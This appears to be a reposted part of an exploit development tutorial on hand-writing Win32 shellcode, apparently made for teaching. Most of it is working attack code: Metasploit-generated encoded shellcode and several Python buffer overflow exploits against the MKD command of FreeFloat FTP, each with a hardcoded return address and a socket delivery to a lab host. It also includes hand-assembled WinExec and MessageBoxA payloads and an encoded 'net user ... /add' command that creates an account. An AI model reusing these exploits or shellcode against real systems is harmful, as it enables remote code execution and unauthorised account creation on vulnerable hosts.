Windows Exploit Geliştirme Serisi #6 | W32 Shellcode Yazma

[COLOR="Plum"]root@bt:~# msfpayload windows/exec CMD=calc.exe R | msfencode -b '\x00\x0A\x0D' -t c
[*] x86/shikata_ga_nai succeeded with size 227 (iteration=1)

unsigned char buf[] = 
"\xd9\xec\xd9\x74\x24\xf4\xb8\x28\x1f\x44\xde\x5b\x31\xc9\xb1"
"\x33\x31\x43\x17\x83\xeb\xfc\x03\x6b\x0c\xa6\x2b\x97\xda\xaf"
"\xd4\x67\x1b\xd0\x5d\x82\x2a\xc2\x3a\xc7\x1f\xd2\x49\x85\x93"
"\x99\x1c\x3d\x27\xef\x88\x32\x80\x5a\xef\x7d\x11\x6b\x2f\xd1"
"\xd1\xed\xd3\x2b\x06\xce\xea\xe4\x5b\x0f\x2a\x18\x93\x5d\xe3"
"\x57\x06\x72\x80\x25\x9b\x73\x46\x22\xa3\x0b\xe3\xf4\x50\xa6"
"\xea\x24\xc8\xbd\xa5\xdc\x62\x99\x15\xdd\xa7\xf9\x6a\x94\xcc"
"\xca\x19\x27\x05\x03\xe1\x16\x69\xc8\xdc\x97\x64\x10\x18\x1f"
"\x97\x67\x52\x5c\x2a\x70\xa1\x1f\xf0\xf5\x34\x87\x73\xad\x9c"
"\x36\x57\x28\x56\x34\x1c\x3e\x30\x58\xa3\x93\x4a\x64\x28\x12"
"\x9d\xed\x6a\x31\x39\xb6\x29\x58\x18\x12\x9f\x65\x7a\xfa\x40"
"\xc0\xf0\xe8\x95\x72\x5b\x66\x6b\xf6\xe1\xcf\x6b\x08\xea\x7f"
"\x04\x39\x61\x10\x53\xc6\xa0\x55\xab\x8c\xe9\xff\x24\x49\x78"
"\x42\x29\x6a\x56\x80\x54\xe9\x53\x78\xa3\xf1\x11\x7d\xef\xb5"
"\xca\x0f\x60\x50\xed\xbc\x81\x71\x8e\x23\x12\x19\x7f\xc6\x92"
"\xb8\x7f";[/COLOR]

[COLOR="Plum"]root@bt:~# msfpayload windows/messagebox TEXT='Pop the box!' TITLE=b33f R| msfencode -b 
'\x00\x0A\x0D' -t c
[*] x86/shikata_ga_nai succeeded with size 287 (iteration=1)

unsigned char buf[] = 
"\xb8\xe0\x20\xa7\x98\xdb\xd1\xd9\x74\x24\xf4\x5a\x29\xc9\xb1"
"\x42\x31\x42\x12\x83\xc2\x04\x03\xa2\x2e\x45\x6d\xfb\xc4\x12"
"\x57\x8f\x3e\xd1\x59\xbd\x8d\x6e\xab\x88\x96\x1b\xba\x3a\xdc"
"\x6a\x31\xb1\x94\x8e\xc2\x83\x50\x24\xaa\x2b\xea\x0c\x6b\x64"
"\xf4\x05\x78\x23\x05\x37\x81\x32\x65\x3c\x12\x90\x42\xc9\xae"
"\xe4\x01\x99\x18\x6c\x17\xc8\xd2\xc6\x0f\x87\xbf\xf6\x2e\x7c"
"\xdc\xc2\x79\x09\x17\xa1\x7b\xe3\x69\x4a\x4a\x3b\x75\x18\x29"
"\x7b\xf2\x67\xf3\xb3\xf6\x66\x34\xa0\xfd\x53\xc6\x13\xd6\xd6"
"\xd7\xd7\x7c\x3c\x19\x03\xe6\xb7\x15\x98\x6c\x9d\x39\x1f\x98"
"\xaa\x46\x94\x5f\x44\xcf\xee\x7b\x88\xb1\x2d\x31\xb8\x18\x66"
"\xbf\x5d\xd3\x44\xa8\x13\xaa\x46\xc5\x79\xdb\xc8\xea\x82\xe4"
"\x7e\x51\x78\xa0\xff\x82\x62\xa5\x78\x2e\x46\x18\x6f\xc1\x79"
"\x63\x90\x57\xc0\x94\x07\x04\xa6\x84\x96\xbc\x05\xf7\x36\x59"
"\x01\x82\x35\xc4\xa3\xe4\xe6\x22\x49\x7c\xf0\x7d\xb2\x2b\xf9"
"\x08\x8e\x84\xba\xa3\xac\x68\x01\x34\xac\x56\x2b\xd3\xad\x69"
"\x34\xdc\x45\xce\xeb\x03\xb5\x86\x89\x70\x86\x30\x7f\xac\x60"
"\xe0\x5b\x56\xf9\xfa\xcc\x0e\xd9\xdc\x2c\xc7\x7b\x72\x55\x36"
"\x13\xf8\xcd\x5d\xc3\x68\x5e\xf1\x73\x49\x6f\xc4\xfb\xc5\xab"
"\xda\x72\x34\x82\x30\xd6\xe4\xb4\xe6\x29\xda\x06\xc7\x85\x24"
"\x3d\xcf";[/COLOR]

[COLOR="Plum"]#!/usr/bin/python
***
#----------------------------------------------------------------------------------#
# Exploit: FreeFloat FTP (MKD BOF)************************************************ #
# OS: WinXP PRO SP3*************************************************************** #
# Author: b33f (Ruben Boonen)***************************************************** #
# Software: http://www.freefloat.com/software/freefloatftpserver.zip************** #
#----------------------------------------------------------------------------------#
*
import socket
import sys
*
shellcode = (
)
*
#----------------------------------------------------------------------------------#
# Badchars: \x00\x0A\x0D********************************************************** #
# 0x77c35459 : push esp #* ret* | msvcrt.dll************************************** #
# shellcode at ESP => space 749-bytes********************************************* #
#----------------------------------------------------------------------------------#
*
buffer = "\x90"*20 + shellcode
evil = "A"*247 + "\x59\x54\xC3\x77" + buffer + "C"*(749-len(buffer))
*
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.111.128',21))
*
s.recv(1024)
s.send('USER anonymous\r\n')
s.recv(1024)
s.send('PASS anonymous\r\n')
s.recv(1024)
s.send('MKD ' + evil + '\r\n')
s.recv(1024)
s.send('QUIT\r\n')
s.close[/COLOR]

[COLOR="Plum"]Structure:                              Parameters:

UINT WINAPI WinExec(            =>      A pointer to WinExec() in kernel32.dll
  __in  LPCSTR lpCmdLine,       =>      ASCII string "calc.exe"
  __in  UINT uCmdShow           =>      0x00000001 (SW_SHOWNORMAL)
);[/COLOR]

[COLOR="Plum"]ASCII Text:                                             ASCII Text:
calc.exe                                                abcdefghijkl

Split Text into groups of 4 characters:                 Split Text into groups of 4 characters:
"calc"                                                  "abcd"
".exe"                                                  "efgh"
                                                        "ijkl"

Reverse the order of the character groups:              Reverse the order of the character groups:
".exe"                                                  "ijkl"
"calc"                                                  "efgh"
                                                        "abcd"

Look on google for a ASCII to hex converter             Look on google for a ASCII to hex converter
and convert each character while maintaining            and convert each character while maintaining
the order:                                              the order:
"\x2E\x65\x78\x65"                                      "\x69\x6A\x6B\x6C"
"\x63\x61\x6C\x63"                                      "\x65\x66\x67\x68"
                                                        "\x61\x62\x63\x64"

To write these values to the stack simply add           To write these values to the stack simply add
"\x68" infront of each group:                           "\x68" infront of each group:
"\x68\x2E\x65\x78\x65" => PUSH ".exe"                   "\x68\x69\x6A\x6B\x6C" => PUSH "ijkl"
"\x68\x63\x61\x6C\x63" => PUSH "calc"                   "\x68\x65\x66\x67\x68" => PUSH "efgh"[/COLOR]

[COLOR="Plum"]ASCII Text:
net user b33f 1234 /add

Split Text into groups of 4 characters:
"net "
"user"
" b33"
"f 12"
"34 /"
"add"

As you can see the alignment doesn't add up we are left with 3 characters at the end. There is a easy fix 
for this, adding an extra space at the end won't affect the command at all. After reversing the group 
order this is what we end up with.

"add "        => "\x68\x61\x64\x64\x20"        => PUSH "add "
"34 /"        => "\x68\x33\x34\x20\x2F"        => PUSH "34 /"
"f 12"        => "\x68\x66\x20\x31\x32"        => PUSH "f 12"
" b33"        => "\x68\x20\x62\x33\x33"        => PUSH " b33"
"user"        => "\x68\x75\x73\x65\x72"        => PUSH "user"
"net "        => "\x68\x6E\x65\x74\x20"        => PUSH "net "[/COLOR]

[COLOR="plum"]uCmdShow needs to be set to 0x00000001 there are a couple of ways you can do this just use your 
imagination. We are going to use this:

PUSH 1        => "\x6A\x01"     (not to be confused with ASCII "1" = "\x31")

(*) Just to give you an idea, something like this could also work:

xor eax,eax   (zero out eax register)
inc eax       (increment eax with 1)
push eax      (push eax to the stack)[/COLOR]

[COLOR="Plum"]Doing things the wrong way:

"\x68\x2E\x65\x78\x65" => PUSH ".exe"          \  Push The ASCII string to the stack
"\x68\x63\x61\x6C\x63" => PUSH "calc"          /
"\x8B\xC4"             => MOV EAX,ESP          |  Put a pointer to the ASCII string in EAX
"\x6A\x01"             => PUSH 1               |  Push uCmdShow parameter to the stack
"\x50"                 => PUSH EAX             |  Push the pointer to lpCmdLine to the stack
"\xBB\xED\x2A\x86\x7C" => MOV EBX,7C862AED     |  Move the pointer to WinExec() into EBX
"\xFF\xD3"             => CALL EBX             |  Call WinExec()[/COLOR]

[COLOR="Plum"]Doing things the right way:

We need "calc.exe" + "\x00"'s but we know that null-bytes are badcharacters however we can easily xor a 
register (which will then contain 4 null-bytes) and push it to the stack just before we push “calc.exe”.


"\x33\xc0"             => XOR EAX,EAX          |  Zero out EAX register
"\x50"                 => PUSH EAX             |  Push EAX to have null-byte padding for "calc.exe"
"\x68\x2E\x65\x78\x65" => PUSH ".exe"          \  Push The ASCII string to the stack
"\x68\x63\x61\x6C\x63" => PUSH "calc"          /  
"\x8B\xC4"             => MOV EAX,ESP          |  Put a pointer to the ASCII string in EAX
"\x6A\x01"             => PUSH 1               |  Push uCmdShow parameter to the stack
"\x50"                 => PUSH EAX             |  Push the pointer to lpCmdLine to the stack
"\xBB\xED\x2A\x86\x7C" => MOV EBX,7C862AED     |  Move the pointer to WinExec() into EBX
"\xFF\xD3"             => CALL EBX             |  Call WinExec()[/COLOR]

[COLOR="Plum"]#!/usr/bin/python
****
#----------------------------------------------------------------------------------#
# Exploit: FreeFloat FTP (MKD BOF)************************************************ #
# OS: WinXP PRO SP3*************************************************************** #
# Author: b33f (Ruben Boonen)***************************************************** #
# Software: http://www.freefloat.com/software/freefloatftpserver.zip************** #
#----------------------------------------------------------------------------------#
**
import socket
import sys
**
#----------------------------------------------------------------------------------#
# (*) WinExec********************************************************************* #
# (*) arwin.exe => Kernel32.dll - WinExec 0x7C862AED****************************** #
# (*) MSDN Structure:************************************************************* #
#********************************************************************************* #
# UINT WINAPI WinExec(*********** => PTR to WinExec******************************* #
#** __in* LPCSTR lpCmdLine,****** => calc.exe************************************* #
#** __in* UINT uCmdShow********** => 0x1****************************************** #
# );****************************************************************************** #
#********************************************************************************* #
# Final Size => 26-bytes (****sploit version size => 227-bytes)******************* #
#----------------------------------------------------------------------------------#
WinExec = (
"\x33\xc0"************************* # XOR EAX,EAX
"\x50"***************************** # PUSH EAX***** => padding for lpCmdLine
"\x68\x2E\x65\x78\x65"************* # PUSH ".exe"
"\x68\x63\x61\x6C\x63"************* # PUSH "calc"
"\x8B\xC4"************************* # MOV EAX,ESP
"\x6A\x01"************************* # PUSH 1
"\x50"***************************** # PUSH EAX
"\xBB\xED\x2A\x86\x7C"************* # MOV EBX,kernel32.WinExec
"\xFF\xD3")************************ # CALL EBX
**
#----------------------------------------------------------------------------------#
# Badchars: \x00\x0A\x0D********************************************************** #
# 0x77c35459 : push esp #* ret* | msvcrt.dll************************************** #
# shellcode at ESP => space 749-bytes********************************************* #
#----------------------------------------------------------------------------------#
**
buffer = "\x90"*20 + WinExec
evil = "A"*247 + "\x59\x54\xC3\x77" + buffer + "C"*(749-len(buffer))
**
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.111.128',21))
**
s.recv(1024)
s.send('USER anonymous\r\n')
s.recv(1024)
s.send('PASS anonymous\r\n')
s.recv(1024)
s.send('MKD ' + evil + '\r\n')
s.recv(1024)
s.send('QUIT\r\n')
s.close[/COLOR]

[COLOR="Plum"]Structure:                              Parameters:

int WINAPI MessageBox(          =>      A pointer to MessageBoxA() in user32.dll
  __in_opt  HWND hWnd,          =>      0x00000000 (NULL = No Window Owner)
  __in_opt  LPCTSTR lpText,     =>      ASCII string "Pop the box!"
  __in_opt  LPCTSTR lpCaption,  =>      ASCII string "b33f"
  __in      UINT uType          =>      0x00000000 (MB_OK|MB_APPLMODAL)[/COLOR]

[COLOR="Plum"]ASCII Text:                                             ASCII Text:
b33f                                                    Pop the box!

Split Text into groups of 4 characters:                 Split Text into groups of 4 characters:
"b33f"                                                  "Pop "
                                                        "the "
                                                        "box!"

Reverse the order of the character groups:              Reverse the order of the character groups:
"b33f"                                                  "box!"
                                                        "the "
                                                        "Pop "

Look on google for a ASCII to hex converter             Look on google for a ASCII to hex converter
and convert each character while maintaining            and convert each character while maintaining
the order:                                              the order:
"\x62\x33\x33\x66"                                      "\x62\x6F\x78\x21"
                                                        "\x74\x68\x65\x20"
                                                        "\x50\x6F\x70\x20"

To write these values to the stack simply add           To write these values to the stack simply add
"\x68" infront of each group:                           "\x68" infront of each group:
"\x68\x62\x33\x33\x66" => PUSH "b33f"                   "\x68\x62\x6F\x78\x21" => PUSH "box!"
                                                        "\x68\x74\x68\x65\x20" => PUSH "the "
                                                        "\x68\x50\x6F\x70\x20" => PUSH "Pop "[/COLOR]

[COLOR="Plum"]Doing things the right way from the get-go:
          
          
"\x33\xc0"             => XOR EAX,EAX          |  Zero out EAX register
"\x50"                 => PUSH EAX             |  Push EAX to have null-byte padding for "b33f"
"\x68\x62\x33\x33\x66" => PUSH "b33f"          |  Push The ASCII string to the stack
"\x8B\xCC"             => MOV ECX,ESP          |  Put a pointer to lpCaption string in ECX
"\x50"                 => PUSH EAX             |  Push EAX to have null-byte padding for "Pop the box!"
"\x68\x62\x6F\x78\x21" => PUSH "box!"          \  
"\x68\x74\x68\x65\x20" => PUSH "the "           | Push The ASCII string to the stack
"\x68\x50\x6F\x70\x20" => PUSH "Pop "          /  
"\x8B\xD4"             => MOV EDX,ESP          |  Put a pointer to lpText string in EDX
"\x50"                 => PUSH EAX             |  Push uType=0x00000000
"\x51"                 => PUSH ECX             |  Push lpCaption
"\x52"                 => PUSH EDX             |  Push lpText
"\x50"                 => PUSH EAX             |  Push hWnd=0x00000000
"\xBE\xEA\x07\x45\x7E" => MOV ESI,7E4507EA     |  Move the pointer to MessageBoxA() into ESI
"\xFF\xD6"             => CALL ESI             |  Call MessageBoxA()[/COLOR]

[COLOR="Plum"]#!/usr/bin/python
    
#----------------------------------------------------------------------------------#
# Exploit: FreeFloat FTP (MKD BOF)                                                 #
# OS: WinXP PRO SP3                                                                #
# Author: b33f (Ruben Boonen)                                                      #
# Software: http://www.freefloat.com/software/freefloatftpserver.zip               #
#----------------------------------------------------------------------------------#
# This exploit was created for Part 6 of my Exploit Development tutorial           #
# series - http://www.fuzzysecurity.com/tutorials/expDev/6.html                    #
#----------------------------------------------------------------------------------#
  
import socket
import sys
  
#----------------------------------------------------------------------------------#
# (*) WinExec                                                                      #
# (*) arwin.exe => Kernel32.dll - WinExec 0x7C862AED                               #
# (*) MSDN Structure:                                                              #
#                                                                                  #
# UINT WINAPI WinExec(            => PTR to WinExec                                #
#   __in  LPCSTR lpCmdLine,       => calc.exe                                      #
#   __in  UINT uCmdShow           => 0x1                                           #
# );                                                                               #
#                                                                                  #
# Final Size => 26-bytes (****sploit version size => 227-bytes)                    #
#----------------------------------------------------------------------------------#
WinExec = (
"\x33\xc0"                          # XOR EAX,EAX
"\x50"                              # PUSH EAX      => padding for lpCmdLine
"\x68\x2E\x65\x78\x65"              # PUSH ".exe"
"\x68\x63\x61\x6C\x63"              # PUSH "calc"
"\x8B\xC4"                          # MOV EAX,ESP
"\x6A\x01"                          # PUSH 1
"\x50"                              # PUSH EAX
"\xBB\xED\x2A\x86\x7C"              # MOV EBX,kernel32.WinExec
"\xFF\xD3")                         # CALL EBX
 
#----------------------------------------------------------------------------------#
# (*) MessageBoxA                                                                  #
# (*) arwin.exe => user32.dll - MessageBoxA 0x7E4507EA                             #
# (*) MSDN Structure:                                                              #
#                                                                                  #
# int WINAPI MessageBox(          => PTR to MessageBoxA                            #
#   __in_opt  HWND hWnd,          => 0x0                                           #
#   __in_opt  LPCTSTR lpText,     => Pop the box!                                  #
#   __in_opt  LPCTSTR lpCaption,  => b33f                                          #
#   __in      UINT uType          => 0x0                                           #
# );                                                                               #
#                                                                                  #
# Final Size => 39-bytes (****sploit version size => 287-bytes)                    #
#----------------------------------------------------------------------------------#
MessageBoxA = (
"\x33\xc0"                          # XOR EAX,EAX
"\x50"                              # PUSH EAX      => padding for lpCaption
"\x68\x62\x33\x33\x66"              # PUSH "b33f"
"\x8B\xCC"                          # MOV ECX,ESP   => PTR to lpCaption
"\x50"                              # PUSH EAX      => padding for lpText
"\x68\x62\x6F\x78\x21"              # PUSH "box!"
"\x68\x74\x68\x65\x20"              # PUSH "the "
"\x68\x50\x6F\x70\x20"              # PUSH "Pop "
"\x8B\xD4"                          # MOV EDX,ESP   => PTR to lpText
"\x50"                              # PUSH EAX - uType=0x0
"\x51"                              # PUSH ECX - lpCaption
"\x52"                              # PUSH EDX - lpText
"\x50"                              # PUSH EAX - hWnd=0x0
"\xBE\xEA\x07\x45\x7E"              # MOV ESI,USER32.MessageBoxA
"\xFF\xD6")                         # CALL ESI
  
#----------------------------------------------------------------------------------#
# Badchars: \x00\x0A\x0D                                                           #
# 0x77c35459 : push esp #  ret  | msvcrt.dll                                       #
# shellcode at ESP => space 749-bytes                                              #
#----------------------------------------------------------------------------------#
  
buffer = "\x90"*20 + MessageBoxA
evil = "A"*247 + "\x59\x54\xC3\x77" + buffer + "C"*(749-len(buffer))
  
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.111.128',21))
  
s.recv(1024)
s.send('USER anonymous\r\n')
s.recv(1024)
s.send('PASS anonymous\r\n')
s.recv(1024)
s.send('MKD ' + evil + '\r\n')
s.recv(1024)
s.send('QUIT\r\n')
s.close[/COLOR]